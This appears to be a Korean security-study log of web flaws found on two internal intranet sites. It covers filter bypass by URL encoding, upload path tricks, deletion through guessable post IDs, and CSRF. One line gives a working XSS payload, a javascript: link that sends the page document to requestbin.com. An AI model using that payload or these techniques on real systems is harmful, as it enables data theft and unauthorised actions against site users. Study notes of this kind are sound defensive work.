정보보안 스터디 - 29주차 1일 - 내부 인트라넷 취약점

사이트 1)

글 삭제, 수정 등의 기능을 주석처리해서 사용이 가능했습니다.


json으로 요청보내고 응답도? 그렇게 받는거면 뭐할 수 있는지 확인.
다른 게 들어오면 에러띄워버리는데

<"> 404 bad request >>> URL 인코딩으로 보내면 요청은 통과됩니다.

글 내용: textarea부분에서 들어간다면 편집에서는 적용안되고 글이 보여지는 view페이지에서 적용됩니다.

html editor에서
iframe, audio 부터 시작해서
<p style>
<div>
<h2>
등까지 태그를 막고 있으며, 
속성값, style값, 이벤트핸들러도 정해진거(alt, width= -> style="width:" 로 치환) 빼고 화이트리스트 필터링중인 듯합니다.

그럴 경우는
<a href="javascript:location.href=' http://requestbin.com?'+docuemnt "></a>
은 됩니다. (javascript:, script 블랙리스트 차단이 필요합니다.)
다만 클릭했을 경우에 스크립트가 실행되는 거라 행동을 필요로 하지만 그래도 많은 걸 할 수 있습니다.


로그인이 없는데 https를 안한경우 - 괜찮아 보일 수 있지만 XSS 취약점이 발견되면 악성 사이트/파일다운 리다이렉트, html 변조, 키로거 등 스크립트 삽입이 가능해서 위험합니다. 또 공격자가 피싱사이트를 만들었을 때 안전하지 않음이라고 떠서 피해자는 구분하지 못해서 속을 수 있습니다.



대기업이라고 하더라도 관리자사이트, 내부 직원 인트라넷, 개발환경(url로 노출되고, SSRF든 뭐든 이용해서 들어갈 수 있는 경우)에서 허술한 부분이 분명 많이 있습니다. 

사이트2)

파일업로드  
날짜순으로 업로드하게 만들어버리면 overriding이 안됩니다. 좋은 대응입니다. 실행이 안되게 하는 게 중요합니다.
파일이름을 ../로 경로 다르게 해도 파일이름이 바뀌어서 안되지만 url/url01/12345.jpg 라면 12345.jpg 로 경로 지정가능한 경우도 있습니다.

무조건 확장자 바꿔서 올리는 듯합니다.

글 번호를 알아내서 권한없을 때 지울 수 있는 경우. 글 번호 예상가능하므로 + 서버측 검증이 안되서 입니다.
file경로 명 난독화 한 경우도 있습니다. base64 같긴한데 이중화되었는지 해시인지 어떻게 푸는지 모르겠습니다. 대문자소문자숫자== 형식

post방식의 CSRF과 
iframe 까지 PoC로 해야합니다.
악성 글 쓰기 시 요청이 xml방식일 땐 어떻게 할 지 생각해봅시다.

CSRF는 다른사람 비밀번호 변경시키는 게 안된다면 악성글쓰기해서 파일다운로드하거나 삭제하도록 합니다.

에러코드 502 proxy, 901도 있긴하지만 일시적인듯합니다.